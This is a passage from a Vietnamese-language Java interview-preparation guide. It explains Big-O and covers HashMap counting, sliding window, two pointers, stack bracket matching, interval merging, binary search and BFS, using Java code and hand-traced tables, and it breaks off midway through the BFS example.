	Xấu nhất khoảng O(log n) khi bucket đã treeify (Java 8+, key nên implement Comparable)

	LinkedHashMap
	get/put
	O(1) trung bình
	Giữ thứ tự chèn hoặc thứ tự truy cập

	TreeMap, TreeSet
	get/put/remove, floorKey
	O(log n)
	Có thứ tự, tìm khoảng

	PriorityQueue
	offer/poll
	O(log n)
	peek O(1), remove(Object) O(n)

	Arrays.sort, List.sort
	sắp xếp
	O(n log n)
	Object dùng TimSort, ổn định



	GHI CHÚ
Nhiều tài liệu cũ nói HashMap xấu nhất là O(n). Từ Java 8, khi một bucket vượt 8 phần tử và table đủ lớn (từ 64 bucket), danh sách liên kết được chuyển thành cây đỏ đen, nên xấu nhất khoảng O(log n) (đầy đủ khi key implement Comparable; nếu không, cây vẫn phải duyệt nhiều nhánh). Cũng có tài liệu ghi new StringBuilder(s).reverse() là "O(n/2)": thực chất vẫn là O(n), và method này còn xử lý đúng cặp surrogate (emoji, ký tự ngoài BMP), điều mà vòng lặp đảo char thủ công làm sai.



Hai điều hay bị hỏi thêm: nối chuỗi bằng + trong vòng lặp là O(n^2) vì mỗi lần tạo String mới, nên dùng StringBuilder; và Collections.sort với object là stable, tức phần tử bằng nhau giữ nguyên thứ tự ban đầu, điều quan trọng khi sort nhiều tiêu chí.
Big-O bằng lời thường
Big-O trả lời một câu hỏi rất đời thường: khi dữ liệu tăng lên, số bước chương trình phải làm tăng nhanh cỡ nào? Nó không đo số giây, vì số giây phụ thuộc máy nhanh hay chậm. Nó chỉ nói "hình dạng" của sự tăng trưởng. Ví dụ tìm tên một người trong danh sách lớp không sắp xếp: lớp 10 người thì xem tối đa 10 tên, lớp 1.000 người thì tối đa 1.000 tên, tức số bước tăng đúng bằng số người, đó là O(n). Còn tra từ trong từ điển đã xếp theo vần: mở giữa cuốn, biết từ cần tìm nằm nửa trước hay nửa sau, bỏ đi một nửa và lặp lại, đó là O(log n). Ký hiệu n là kích thước đầu vào (số phần tử mảng, số ký tự chuỗi, số dòng bảng).
Hai quy ước khi tính Big-O: bỏ hằng số (2n bước và n bước đều là O(n), vì khi n lớn, hệ số 2 không đổi được "hình dạng"), và chỉ giữ số hạng lớn nhất (n^2 + n là O(n^2), vì khi n = 1.000.000 thì phần n chỉ là một phần triệu của n^2).
Bảng dưới đây đếm số bước xấp xỉ khi n = 10, 1.000 và 1.000.000. Một máy chủ bình thường làm được cỡ vài trăm triệu đến một tỷ phép tính đơn giản mỗi giây, bạn dùng con số này để đổi ra thời gian.
	Độ phức tạp
	n = 10
	n = 1.000
	n = 1.000.000

	O(1): tra HashMap, get(i) của ArrayList
	1
	1
	1

	O(log n): binary search, TreeMap
	khoảng 3
	khoảng 10
	khoảng 20

	O(n): duyệt mảng một lượt
	10
	1.000
	1.000.000 (vài mili giây)

	O(n log n): sort
	khoảng 33
	khoảng 10.000
	khoảng 20 triệu (vài chục mili giây)

	O(n^2): hai vòng for lồng nhau
	100
	1.000.000
	10^12 (cỡ vài chục phút)



Điều cần rút ra: với n = 10, mọi thuật toán đều "nhanh", nên chạy thử với ví dụ nhỏ không bao giờ lộ ra vấn đề. Với n = 1.000.000, O(n^2) biến một API vài mili giây thành một request treo hàng chục phút. Đó là lý do người phỏng vấn luôn hỏi "nếu dữ liệu lên 1 triệu thì sao?".
Đoạn code dưới đây đếm số bước thật của tìm tuyến tính và binary search trên mảng 0, 1, ..., n-1, tìm phần tử cuối cùng (trường hợp xấu nhất cho tìm tuyến tính).
	public class StepCounter {
    static long linearSteps(int[] a, int target) {
        long steps = 0;
        for (int x : a) { steps++; if (x == target) break; } // one step per element checked
        return steps;
    }
 
    static long binarySteps(int[] a, int target) {
        long steps = 0;
        int lo = 0, hi = a.length;
        while (lo < hi) { // each iteration halves the range
            steps++;
            int mid = lo + (hi - lo) / 2;
            if (a[mid] < target) lo = mid + 1; else hi = mid;
        }
        return steps;
    }
 
    public static void main(String[] args) {
        for (int n : new int[]{10, 1_000, 1_000_000}) {
            int[] a = new int[n];
            for (int i = 0; i < n; i++) a[i] = i;
            System.out.println("n=" + n + " linear=" + linearSteps(a, n - 1)
                + " binary=" + binarySteps(a, n - 1) + " nested=" + (long) n * n);
        }
        // prints: n=10 linear=10 binary=3 nested=100
        // prints: n=1000 linear=1000 binary=10 nested=1000000
        // prints: n=1000000 linear=1000000 binary=20 nested=1000000000000
    }
}



Giải thích: chạy chương trình, bạn thấy tìm tuyến tính cần đúng n bước, còn binary search chỉ cần 3, 10 rồi 20 bước dù n tăng gấp trăm nghìn lần. Cột nested không chạy thật hai vòng lặp mà chỉ tính n * n, vì chạy thật 10^12 bước sẽ mất rất lâu; đó chính là chi phí của hai vòng for lồng nhau.
1. log n (cơ số 2) là số lần phải chia đôi n cho tới khi còn 1: 1.000 chia đôi khoảng 10 lần, 1.000.000 khoảng 20 lần. Mỗi lần n tăng gấp 1.000, binary search chỉ thêm khoảng 10 bước.
1. "O(1) khấu hao" (amortized) của ArrayList.add nghĩa là: đa số lần thêm tốn 1 bước, thỉnh thoảng mảng đầy phải copy sang mảng lớn gấp rưỡi tốn n bước, nhưng chia đều ra thì trung bình mỗi lần vẫn là hằng số.
1. Độ phức tạp bộ nhớ đọc tương tự: thuật toán dùng thêm một HashMap chứa n phần tử là O(n) bộ nhớ, chỉ dùng vài biến đếm là O(1).
12.4 Nhóm HashMap: đếm tần suất và tra cứu O(1)
Đây là dạng gặp nhiều nhất ở vòng live coding tại Việt Nam. Mẫu tư duy: khi thấy "tìm cặp", "đếm", "đã gặp chưa", "phần tử trùng", hãy nghĩ ngay tới việc đánh đổi bộ nhớ lấy thời gian bằng HashMap hoặc HashSet để đưa O(n^2) xuống O(n).
	NHẮC LẠI KIẾN THỨC
HashMap tra cứu O(1) trung bình vì nó tính hashCode của key để nhảy thẳng tới đúng "ngăn" chứa key, thay vì quét từ đầu. Điều này chỉ đúng khi key cài đặt equals và hashCode nhất quán (xem N1.9 và mục 1.2); các kiểu có sẵn như Integer, String, Character đã làm sẵn. Cơ chế bên trong xem N1.11 và mục 1.5.



Two Sum
Ý tưởng bằng lời thường: hãy tưởng tượng bạn đi dọc một hàng người, mỗi người cầm một số, và cần tìm hai người có tổng bằng 10. Cách chậm là với mỗi người, đi hỏi lại tất cả những người khác. Cách nhanh là mang theo một cuốn sổ: tới mỗi người, bạn tự hỏi "mình cần số bao nhiêu để cộng với số này ra 10?", lật sổ xem đã gặp số đó chưa; nếu chưa, ghi số của người này vào sổ rồi đi tiếp. Cuốn sổ chính là HashMap, và lật sổ tốn O(1).
Brute-force là hai vòng for, O(n^2). Cách tối ưu: duyệt một lượt, với mỗi phần tử kiểm tra "phần bù" target - x đã từng gặp chưa.
	import java.util.*;
 
public class TwoSum {
    // O(n) time, O(n) memory
    static int[] twoSum(int[] nums, int target) {
        Map<Integer, Integer> seen = new HashMap<>(); // value -> index
        for (int i = 0; i < nums.length; i++) {
            Integer j = seen.get(target - nums[i]); // has the complement appeared on the left?
            if (j != null) return new int[]{j, i};
            seen.put(nums[i], i); // put AFTER the check so an element never pairs with itself
        }
        return new int[0]; // no answer: ask the interviewer what to return
    }
}



Giải thích: ý tưởng là thay vòng for thứ hai (tìm phần bù bằng cách quét) bằng một lần tra HashMap O(1). Map seen luôn chứa các phần tử bên trái vị trí hiện tại, nên khi tìm thấy phần bù thì chắc chắn đó là một phần tử khác.
1. Chạy tay nums = [2, 7, 11, 15], target = 9: i = 0, x = 2, cần 7, map rỗng nên put {2:0}; i = 1, x = 7, cần 2, map có 2 -> 0 nên trả [0, 1].
1. Độ phức tạp: O(n) thời gian vì mỗi phần tử được tra và put một lần; O(n) bộ nhớ cho map trong trường hợp xấu nhất (không có đáp án).
1. Edge case: mảng rỗng hoặc một phần tử trả []; null sẽ ném NullPointerException (hỏi đề có cần kiểm tra không); số âm vẫn đúng; nhiều đáp án thì trả cặp đầu tiên tìm được. Lưu ý thứ tự: kiểm tra trước rồi mới put, nhờ vậy ca [3, 3] với target 6 vẫn đúng (i = 1 tìm thấy 3 -> 0) và không tự ghép một phần tử với chính nó.
Bảng chạy tay với nums = [3, 5, 2, 8], target = 10. Mỗi dòng là một vòng lặp; cột "seen" là nội dung map trước khi xét phần tử đó.
	i, nums[i]
	Cần tìm (target - x)
	seen trước bước này
	Hành động

	0, 3
	7
	{}
	không có 7, put 3 -> 0

	1, 5
	5
	{3:0}
	không có 5, put 5 -> 1

	2, 2
	8
	{3:0, 5:1}
	không có 8, put 2 -> 2

	3, 8
	2
	{3:0, 5:1, 2:2}
	có 2 -> 2, trả [2, 3]



Dòng i = 1 cho thấy vì sao phải kiểm tra trước rồi mới put: 5 + 5 = 10, nếu put 5 vào map trước khi tra thì code sẽ trả [1, 1], tức ghép phần tử với chính nó.
	CÂU HỎI ĐÀO SÂU
"Nếu mảng đã được sắp xếp thì sao?" Dùng two pointers từ hai đầu: tổng nhỏ hơn target thì tăng con trỏ trái, lớn hơn thì giảm con trỏ phải. O(n) thời gian nhưng O(1) bộ nhớ. Nếu mảng chưa sort và đề cho phép, sort trước tốn O(n log n) nhưng mất chỉ số gốc, cần hỏi lại đề có cần index không.



Ký tự đầu tiên không lặp và Anagram
Ý tưởng bằng lời thường: giống kiểm phiếu bầu. Lượt đầu, đọc từng phiếu và gạch một vạch vào bảng đếm của tên đó. Sau khi đếm xong mới trả lời được câu hỏi "ai chỉ có đúng một phiếu" hay "hai thùng phiếu có số phiếu từng tên bằng nhau không".
Hai bài này cùng một mẫu: đếm tần suất rồi duyệt lại. Nếu tập ký tự nhỏ và biết trước (a-z), mảng int[26] nhanh hơn và gọn hơn HashMap.
	// First unique character: O(n) time, O(k) memory (k = distinct characters)
static int firstUniqueIndex(String s) {
    Map<Character, Integer> freq = new HashMap<>();
    for (char c : s.toCharArray()) freq.merge(c, 1, Integer::sum); // pass 1: count
    for (int i = 0; i < s.length(); i++) {                         // pass 2: scan in original order
        if (freq.get(s.charAt(i)) == 1) return i;
    }
    return -1;
}
 
// Anagram, assuming lowercase a-z only: O(n) time, O(1) memory
static boolean isAnagram(String a, String b) {
    if (a.length() != b.length()) return false; // different lengths can never be anagrams
    int[] count = new int[26];
    for (int i = 0; i < a.length(); i++) {
        count[a.charAt(i) - 'a']++; // characters of a: increment
        count[b.charAt(i) - 'a']--; // characters of b: decrement
    }
    for (int c : count) if (c != 0) return false; // any non-zero cell means counts differ
    return true;
}



Giải thích: firstUniqueIndex phải đi hai lượt vì khi mới gặp một ký tự, ta chưa biết phía sau nó có lặp lại hay không. Lượt 1 đếm, lượt 2 duyệt lại theo thứ tự trong chuỗi (không duyệt map, vì HashMap không giữ thứ tự) và trả vị trí đầu tiên có tần suất 1.
1. Chạy tay "leetcode": sau lượt 1, l=1, e=3, t=1, c=1, o=1, d=1; lượt 2 xét i = 0 là l có tần suất 1 nên trả 0. Với "aabb", mọi ký tự có tần suất 2 nên trả -1.
1. isAnagram dùng một mảng đếm chung: ký tự của a cộng, ký tự của b trừ. Hai chuỗi là anagram khi và chỉ khi mọi ô về 0. Chạy tay "rat" và "car": r +1 rồi -1, a +1 rồi -1, t +1, c -1, còn hai ô khác 0 nên trả false. Với "listen" và "silent", mọi ô về 0 nên trả true.
1. Độ phức tạp: cả hai O(n) thời gian. Bộ nhớ O(k) với HashMap (k là số ký tự khác nhau) và O(1) với mảng 26 phần tử cố định.
1. Edge case: chuỗi rỗng (firstUniqueIndex trả -1, hai chuỗi rỗng là anagram của nhau); chữ hoa hoặc có dấu làm int[26] ném lỗi (xem bẫy bên dưới); ký tự ngoài BMP như emoji chiếm hai char nên nếu đề có emoji phải duyệt theo codePoints().
Bảng chạy tay isAnagram("aab", "aba"), chỉ ghi hai ô a và b của mảng count (các ô khác luôn bằng 0):
	i
	a.charAt(i), b.charAt(i)
	count[a], count[b] sau bước
	Ghi chú

	0
	a, a
	0, 0
	cộng rồi trừ cùng ô, triệt tiêu

	1
	a, b
	1, -1
	a thừa một, b thiếu một

	2
	b, a
	0, 0
	bù lại đúng phần lệch

	hết
	
	0, 0
	mọi ô bằng 0, trả true



Ở giữa chừng mảng đếm có thể lệch (i = 1), nhưng chỉ kết quả cuối mới quan trọng. Nếu đổi thành "aab" và "abb", bước cuối cộng b và trừ b nên mảng còn a = 1, b = -1, trả false.
	BẪY THƯỜNG GẶP
Dùng int[26] mà không nói giả định "chỉ chữ thường a-z". Nếu chuỗi có chữ hoa hoặc tiếng Việt có dấu, code sẽ ném ArrayIndexOutOfBoundsException. Hãy nói giả định ra, hoặc dùng HashMap cho trường hợp tổng quát. Các bài họ hàng: tìm phần tử chung của hai list (retainAll trên HashSet, O(n + m)), xóa phần tử trùng giữ thứ tự (new LinkedHashSet<>(list)), gom nhóm anagram (key là chuỗi đã sort).



12.5 Two pointers và Sliding window
Mẫu tư duy: khi đề hỏi về "đoạn con liên tiếp" (substring, subarray) thỏa điều kiện nào đó, hãy nghĩ tới cửa sổ trượt với hai con trỏ left, right. Con trỏ phải luôn tiến, con trỏ trái chỉ tiến khi cửa sổ vi phạm điều kiện. Mỗi phần tử vào và ra cửa sổ tối đa một lần nên tổng là O(n) chứ không phải O(n^2).
Ý tưởng bằng lời thường: "con trỏ" ở đây chỉ là một biến int lưu vị trí trong mảng hoặc chuỗi, không liên quan tới con trỏ của C. Hãy hình dung một khung cửa sổ đặt trên dải ký tự: mép phải kéo dần sang phải để nhận thêm ký tự; khi trong khung xuất hiện thứ vi phạm điều kiện (ví dụ ký tự lặp), mép trái kéo sang phải cho tới khi khung hợp lệ trở lại. Hai mép chỉ đi về một hướng, nên tổng quãng đường của cả hai tối đa là 2n bước, tức O(n).
Bài kinh điển: độ dài chuỗi con dài nhất không có ký tự lặp.
	// Sliding window: O(n) time, O(k) memory
static int lengthOfLongestSubstring(String s) {
    Map<Character, Integer> lastIndex = new HashMap<>();
    int best = 0, left = 0;
    for (int right = 0; right < s.length(); right++) {
        char c = s.charAt(right);
        Integer prev = lastIndex.get(c); // where c was last seen
        if (prev != null && prev >= left) left = prev + 1; // shrink the window past the duplicate
        lastIndex.put(c, right);
        best = Math.max(best, right - left + 1); // length of current window [left, right]
    }
    return best;
}



Giải thích: cửa sổ [left, right] luôn là một đoạn không có ký tự lặp. Mỗi bước mở rộng right thêm một ký tự; nếu ký tự đó đã xuất hiện bên trong cửa sổ thì nhảy left tới ngay sau lần xuất hiện cũ, thay vì lùi từng bước. Map lastIndex giúp biết vị trí cũ trong O(1).
1. Chạy tay "abcabcbb": right = 0..2 cửa sổ "abc", best = 3; right = 3 gặp a (prev = 0 ≥ left = 0) nên left = 1, cửa sổ "bca"; tiếp tục tương tự, cửa sổ không bao giờ dài quá 3, kết quả 3.
1. Điều kiện prev >= left là chỗ hay sai nhất. Chạy tay với "abba": right = 2 gặp b thứ hai nên left = 2; right = 3 gặp a có prev = 0, nhưng index 0 đã nằm ngoài cửa sổ (left = 2) nên giữ nguyên left, cửa sổ "ba", kết quả 2. Nếu thiếu điều kiện này, left sẽ bị kéo lùi về 1, cửa sổ "bba" chứa ký tự lặp và kết quả sai thành 3. Đây chính là lý do bước tự test bằng ca biên quan trọng.
1. Độ phức tạp: O(n) thời gian vì right đi một lượt và left chỉ tiến, không lùi; O(k) bộ nhớ với k là số ký tự khác nhau.
1. Edge case: chuỗi rỗng trả 0; chuỗi toàn một ký tự "bbbb" trả 1; chuỗi không có ký tự lặp trả đúng độ dài chuỗi.
Bảng chạy tay đầy đủ với "abcabcbb". Cột prev là giá trị lastIndex.get(c) trước khi cập nhật.
	right, c
	prev
	left sau bước
	Cửa sổ, best

	0, a
	null
	0
	a, 1

	1, b
	null
	0
	ab, 2

	2, c
	null
	0
	abc, 3

	3, a
	0 (≥ left 0)
	1
	bca, 3

	4, b
	1 (≥ left 1)
	2
	cab, 3

	5, c
	2 (≥ left 2)
	3
	abc, 3

	6, b
	4 (≥ left 3)
	5
	cb, 3

	7, b
	6 (≥ left 5)
	7
	b, 3



Để ý ở right = 6, left nhảy thẳng từ 3 lên 5 chứ không lùi hay nhích từng bước; đó là lý do tổng số bước vẫn là O(n).
Two pointers trên mảng đã sắp xếp
Ý tưởng bằng lời thường: một dạng khác của hai con trỏ là đặt chúng ở hai đầu mảng đã sort rồi tiến dần vào giữa. Với bài "tìm hai số có tổng bằng target": nếu tổng hai đầu nhỏ quá, số bên trái là số nhỏ nhất còn lại, ghép với số lớn nhất mà vẫn chưa đủ, nên nó không thể thuộc đáp án nào, bỏ nó bằng cách tăng left. Ngược lại, tổng lớn quá thì số bên phải chắc chắn thừa, giảm right. Mỗi bước loại được một phần tử, nên tối đa n bước.
	import java.util.Arrays;
 
public class TwoPointers {
    // Sorted input: O(n) time, O(1) memory
    static int[] pairSum(int[] sorted, int target) {
        int left = 0, right = sorted.length - 1;
        while (left < right) {
            int sum = sorted[left] + sorted[right];
            if (sum == target) return new int[]{left, right};
            if (sum < target) left++; // sum too small: drop the smallest value
            else right--;             // sum too big: drop the largest value
        }
        return new int[0];
    }
 
    public static void main(String[] args) {
        int[] nums = {1, 3, 4, 6, 9};
        System.out.println(Arrays.toString(pairSum(nums, 13))); // prints: [2, 4]
        System.out.println(Arrays.toString(pairSum(nums, 2)));  // prints: []
    }
}



Giải thích: với target 13, code trả [2, 4] (hai số 4 và 9); với target 2 không có cặp nào nên trả mảng rỗng. So với Two Sum dùng HashMap ở mục 12.4, cách này không tốn bộ nhớ phụ, nhưng bắt buộc mảng đã sort; nếu phải tự sort thì tốn thêm O(n log n) và mất chỉ số gốc.
	left, right
	sorted[left] + sorted[right]
	So với 13
	Hành động

	0, 4
	1 + 9 = 10
	nhỏ hơn
	left = 1

	1, 4
	3 + 9 = 12
	nhỏ hơn
	left = 2

	2, 4
	4 + 9 = 13
	bằng
	trả [2, 4]



Với target 2: các tổng lần lượt là 10, 7, 5, 4, luôn lớn hơn 2 nên right giảm từ 4 xuống 0; khi left == right vòng lặp dừng và trả []. Điều kiện left < right (không phải <=) đảm bảo không ghép một phần tử với chính nó.
12.6 Stack: ngoặc hợp lệ
	NHẮC LẠI KIẾN THỨC
Stack là cấu trúc "vào sau ra trước" (LIFO): phần tử đẩy vào cuối cùng được lấy ra đầu tiên, như chồng đĩa. ArrayDeque cài đặt interface Deque nên dùng được cả làm stack (push/pop/peek) lẫn queue (offer/poll), mọi thao tác O(1). Xem lại N1.11 và mục 1.5.



Ý tưởng bằng lời thường: hãy nghĩ tới chồng đĩa. Mỗi lần gặp ngoặc mở, bạn đặt lên chồng một tờ ghi chú "đang chờ ngoặc đóng loại này". Gặp ngoặc đóng thì chỉ được nhìn tờ trên cùng: đúng loại thì bỏ tờ đó đi, sai loại hoặc chồng trống thì chuỗi sai. Cuối chuỗi, chồng phải trống.
Mẫu tư duy: bài nào có tính "lồng nhau" hoặc "phần tử gần nhất chưa được xử lý" (ngoặc, biểu thức, undo, phần tử lớn hơn kế tiếp) thì nghĩ tới stack. Trong Java hiện đại, dùng ArrayDeque làm stack, không dùng lớp Stack cũ (kế thừa Vector, mọi method đều synchronized, không cần thiết).
Đề bài: cho chuỗi chỉ gồm các ký tự ()[]{}, kiểm tra các ngoặc có được mở và đóng đúng cặp, đúng thứ tự hay không.
	// Stack: O(n) time, O(n) memory
static boolean isValid(String s) {
    Deque<Character> stack = new ArrayDeque<>();
    for (char c : s.toCharArray()) {
        switch (c) {
            case '(' -> stack.push(')'); // push the closing bracket we expect
            case '[' -> stack.push(']');
            case '{' -> stack.push('}');
            default -> { // closing bracket: must match the expected one on top
                if (stack.isEmpty() || stack.pop() != c) return false;
            }
        }
    }
    return stack.isEmpty(); // unclosed brackets left -> invalid
}



Giải thích: mỗi ngoặc đóng phải khớp với ngoặc mở gần nhất chưa được đóng, đúng thứ tự "vào sau ra trước" của stack. Mẹo ở đây là khi gặp ngoặc mở, ta đẩy luôn ngoặc đóng tương ứng; khi gặp ngoặc đóng chỉ cần so sánh với phần tử lấy ra, không cần bảng tra cặp ngoặc.
1. Chạy tay "([]{})": ( đẩy ); [ đẩy ], stack là ] ); ] lấy ra ] khớp; { đẩy }; } lấy ra } khớp; ) lấy ra ) khớp; stack rỗng nên trả true. Với "(]": ( đẩy ), gặp ] lấy ra ) không khớp nên trả false ngay.
1. Độ phức tạp: O(n) thời gian, O(n) bộ nhớ trong trường hợp xấu nhất (toàn ngoặc mở).
1. Edge case cần tự nói: chuỗi rỗng (hợp lệ), chỉ có ngoặc đóng ")" (kiểm tra isEmpty trước khi pop, nếu không sẽ ném NoSuchElementException), chỉ có ngoặc mở "((" (dòng return cuối). Chuỗi có ký tự khác ngoặc như "a(b)" sẽ rơi vào nhánh default và bị coi là sai, nên hỏi lại đề có cần bỏ qua ký tự thường không.
Bảng chạy tay "([]{})" và "([)]". Cột stack ghi đỉnh ở bên trái.
	Chuỗi, bước
	c
	Hành động
	Stack sau bước

	([]{}), 1
	(
	push )
	)

	([]{}), 2
	[
	push ]
	] )

	([]{}), 3
	]
	pop ], khớp
	)

	([]{}), 4
	{
	push }
	} )

	([]{}), 5
	}
	pop }, khớp
	)

	([]{}), 6
	)
	pop ), khớp
	rỗng, trả true

	([)], 1–2
	(, [
	push ), push ]
	] )

	([)], 3
	)
	pop ], khác )
	trả false ngay



Ca "([)]" là ca nhiều người quên: số ngoặc mở và đóng của từng loại đều bằng nhau, nên cách "đếm số ngoặc" cho kết quả sai là hợp lệ. Chỉ stack mới phát hiện được thứ tự lồng nhau sai.
12.7 Sort + merge interval và Binary search
Merge interval rất hay gặp vì nó gắn với nghiệp vụ thật: gộp các khung giờ đặt lịch, gộp khoảng thời gian khuyến mãi. Mẫu tư duy: sort theo điểm bắt đầu, sau đó chỉ cần so khoảng hiện tại với khoảng cuối cùng đã gộp.
Ý tưởng bằng lời thường: bạn có một chồng giấy đặt phòng họp lộn xộn. Việc đầu tiên là xếp chúng theo giờ bắt đầu. Sau đó cầm tờ đầu tiên trên tay; lấy tờ tiếp theo, nếu nó bắt đầu trước khi tờ trên tay kết thúc thì hai cuộc họp chồng nhau, gộp thành một tờ kéo dài tới giờ kết thúc muộn hơn. Nếu không chồng, đặt tờ trên tay vào chồng "đã xong" và cầm tờ mới.
Đề bài: cho mảng các khoảng [start, end] chưa sắp xếp, gộp mọi khoảng chồng lấn và trả về danh sách khoảng đã gộp.
	// Sort + merge: O(n log n) time, O(n) memory for the result
static int[][] merge(int[][] intervals) {
    if (intervals.length == 0) return intervals;
    int[][] sorted = intervals.clone(); // do not mutate the caller's array
    Arrays.sort(sorted, Comparator.comparingInt(a -> a[0]));
    List<int[]> result = new ArrayList<>();
    int[] cur = sorted[0].clone();
    for (int i = 1; i < sorted.length; i++) {
        if (sorted[i][0] <= cur[1]) {
            cur[1] = Math.max(cur[1], sorted[i][1]); // overlap: extend the end
        } else {
            result.add(cur);
            cur = sorted[i].clone();
        }
    }
    result.add(cur); // do not forget the last pending interval
    return result.toArray(new int[0][]);
}



Giải thích: sau khi sort theo điểm bắt đầu, mọi khoảng có thể gộp với nhau sẽ nằm liền kề, nên chỉ cần so khoảng đang xét với khoảng cur đang gộp dở: bắt đầu trước khi cur kết thúc thì nới cur, ngược lại thì chốt cur vào kết quả và mở khoảng mới.
1. Chạy tay [[1,3],[8,10],[2,6],[15,18]]: sau sort là [[1,3],[2,6],[8,10],[15,18]]; cur = [1,3]; [2,6] có 2 ≤ 3 nên cur = [1,6]; [8,10] có 8 > 6 nên chốt [1,6], cur = [8,10]; [15,18] chốt [8,10], cur = [15,18]; hết vòng chốt nốt. Kết quả [[1,6],[8,10],[15,18]].
1. Độ phức tạp: O(n log n) thời gian do sort, phần gộp chỉ O(n); O(n) bộ nhớ cho bản sao và kết quả.
1. Edge case: mảng rỗng trả rỗng; một khoảng trả chính nó; khoảng lồng nhau. Hỏi lại đề: hai khoảng [1,3] và [3,5] chạm nhau có tính là chồng lấn không? Dấu <= hay < phụ thuộc câu trả lời. Và Math.max là bắt buộc, vì [1,10] gộp với [2,3] vẫn phải là [1,10]; nếu viết cur[1] = sorted[i][1] thì kết quả sai thành [1,3]. Các lệnh clone() để không sửa mảng người gọi truyền vào, một điểm cộng nhỏ về tính cẩn thận.
Bảng chạy tay cùng input trên, sau khi sort thành [[1,3],[2,6],[8,10],[15,18]], bắt đầu với cur = [1,3], result rỗng:
	i, sorted[i]
	So sánh start với cur[1]
	cur sau bước
	result sau bước

	1, [2,6]
	2 ≤ 3, chồng lấn
	[1,6]
	[]

	2, [8,10]
	8 > 6, tách rời
	[8,10]
	[[1,6]]

	3, [15,18]
	15 > 10, tách rời
	[15,18]
	[[1,6],[8,10]]

	sau vòng lặp
	chốt cur
	
	[[1,6],[8,10],[15,18]]



Dòng cuối là lý do phải có result.add(cur) sau vòng for: khoảng đang cầm trên tay chưa bao giờ được chốt trong vòng lặp.
Binary search cũng cần giải thích bằng lời thường trước khi đi vào khuôn. Ý tưởng: trò chơi đoán số từ 1 đến 100, mỗi lần đoán được trả lời "lớn hơn" hoặc "nhỏ hơn". Người chơi khôn luôn đoán số ở giữa khoảng còn lại, nên sau mỗi lần đoán loại được một nửa: 100, 50, 25, 13, 7, 4, 2, 1, tức tối đa 7 lần. Điều kiện bắt buộc là dữ liệu phải có thứ tự; trên mảng chưa sort, biết nums[mid] nhỏ hơn target không cho ta biết gì về nửa bên trái.
Binary search nghe đơn giản nhưng rất dễ sai ở biên. Tôi khuyên học thuộc một khuôn duy nhất là lower bound trên nửa khoảng [lo, hi), rồi biến đổi cho các bài khác.
	// First index with nums[i] >= target (lower bound). Sorted array. O(log n)
static int lowerBound(int[] nums, int target) {
    int lo = 0, hi = nums.length; // search in the half-open range [lo, hi)
    while (lo < hi) {
        int mid = lo + (hi - lo) / 2; // avoids overflow of (lo + hi) / 2
        if (nums[mid] < target) lo = mid + 1; // answer is definitely right of mid
        else hi = mid;                         // mid may be the answer, keep it in range
    }
    return lo; // = nums.length if every element < target
}



Giải thích: vòng lặp giữ một bất biến: mọi vị trí bên trái lo đều có giá trị nhỏ hơn target, mọi vị trí từ hi trở đi đều lớn hơn hoặc bằng target. Mỗi bước thu hẹp khoảng [lo, hi) đi một nửa, và khi lo == hi thì đó chính là vị trí đầu tiên có giá trị lớn hơn hoặc bằng target.
1. Chạy tay nums = [1, 3, 3, 5], target = 3: lo = 0, hi = 4, mid = 2, nums[2] = 3 không nhỏ hơn 3 nên hi = 2; mid = 1, nums[1] = 3 nên hi = 1; mid = 0, nums[0] = 1 < 3 nên lo = 1; lo == hi, trả 1 (vị trí của số 3 đầu tiên). Với target = 6, lo tiến dần tới 4 và trả 4 (không có phần tử nào ≥ 6).
1. Độ phức tạp: O(log n) thời gian, O(1) bộ nhớ.
1. Edge case: mảng rỗng trả 0 mà không vào vòng lặp; mọi phần tử ≥ target trả 0. Muốn biết target có tồn tại không thì kiểm tra thêm lo < nums.length && nums[lo] == target. Đổi < thành <= ở điều kiện là được upper bound (vị trí đầu tiên lớn hơn hẳn target).
Bảng chạy tay nums = [1, 3, 3, 5, 8, 9], target = 5:
	lo, hi trước bước
	mid, nums[mid]
	So với 5
	lo, hi sau bước

	0, 6
	3, 5
	không nhỏ hơn, giữ mid
	0, 3

	0, 3
	1, 3
	nhỏ hơn, bỏ mid
	2, 3

	2, 3
	2, 3
	nhỏ hơn, bỏ mid
	3, 3

	3, 3
	
	lo == hi, dừng
	trả 3



Chỉ sau 3 vòng, kết quả là index 3, đúng vị trí của số 5. Ở vòng đầu, dù nums[3] đã bằng target, code vẫn không dừng mà thu hi về 3 để chắc chắn không còn số 5 nào nằm bên trái; đó là cách lower bound luôn trả về lần xuất hiện đầu tiên.
	CÂU HỎI ĐÀO SÂU
"Binary search dùng ở đâu ngoài tìm phần tử trong mảng?" Tìm trên không gian đáp án: tìm sức chứa nhỏ nhất để giao hết hàng trong D ngày, tìm phiên bản đầu tiên bị lỗi (First Bad Version). Chỉ cần điều kiện có tính đơn điệu (sai sai sai đúng đúng) là áp dụng được. Trong thực tế, git bisect chính là binary search trên lịch sử commit.



12.8 BFS/DFS cơ bản
Ở mức 2–4 năm, đồ thị thường xuất hiện dưới dạng lưới 2D hoặc cây: đếm số đảo, tìm đường đi ngắn nhất trong mê cung, duyệt cây danh mục sản phẩm. Mẫu tư duy: cần đường đi ngắn nhất trên đồ thị không trọng số thì dùng BFS (queue); cần duyệt hết/đếm vùng liên thông thì DFS hay BFS đều được.
Ý tưởng bằng lời thường: "đồ thị" chỉ là tập các điểm (ở đây là ô lưới) và các đường nối giữa chúng (hai ô kề nhau). BFS (Breadth-First Search, duyệt theo chiều rộng) giống như nhỏ một giọt mực vào ô xuất phát: mực loang ra tất cả các ô cách 1 bước, rồi mới tới các ô cách 2 bước, cứ thế từng vòng. Queue (hàng đợi, vào trước ra trước) là thứ giữ đúng thứ tự "vòng trong trước, vòng ngoài sau". DFS (Depth-First Search, duyệt theo chiều sâu) thì ngược lại, đi một mạch thật sâu theo một hướng, cụt đường mới quay lại, giống người đi mê cung luôn bám tay vào tường.
Đề bài: cho lưới 0/1, mỗi bước đi lên, xuống, trái hoặc phải sang ô 0; tìm số bước ít nhất để đi từ góc trên trái tới góc dưới phải, không có đường thì trả -1.
	// BFS shortest path on a grid (0 = open, 1 = wall). O(m*n)
static int shortestPath(int[][] grid) {
    int m = grid.length, n = grid[0].length;
    if (grid[0][0] == 1 || grid[m - 1][n - 1] == 1) return -1;
    int[][] dirs = {{1, 0}, {-1, 0}, {0, 1}, {0, -1}};
    boolean[][] visited = new boolean[m][n];
    Deque<int[]> queue = new ArrayDeque<>();
    queue.offer(new int[]{0, 0, 0}); // row, col, steps
    visited[0][0] = true;
    while (!queue.isEmpty()) {
        int[] cur = queue.poll();
        if (cur[0] == m - 1 && cur[1] == n - 1) return cur[2]; // first time we reach the target = shortest
        for (int[] d : dirs) {
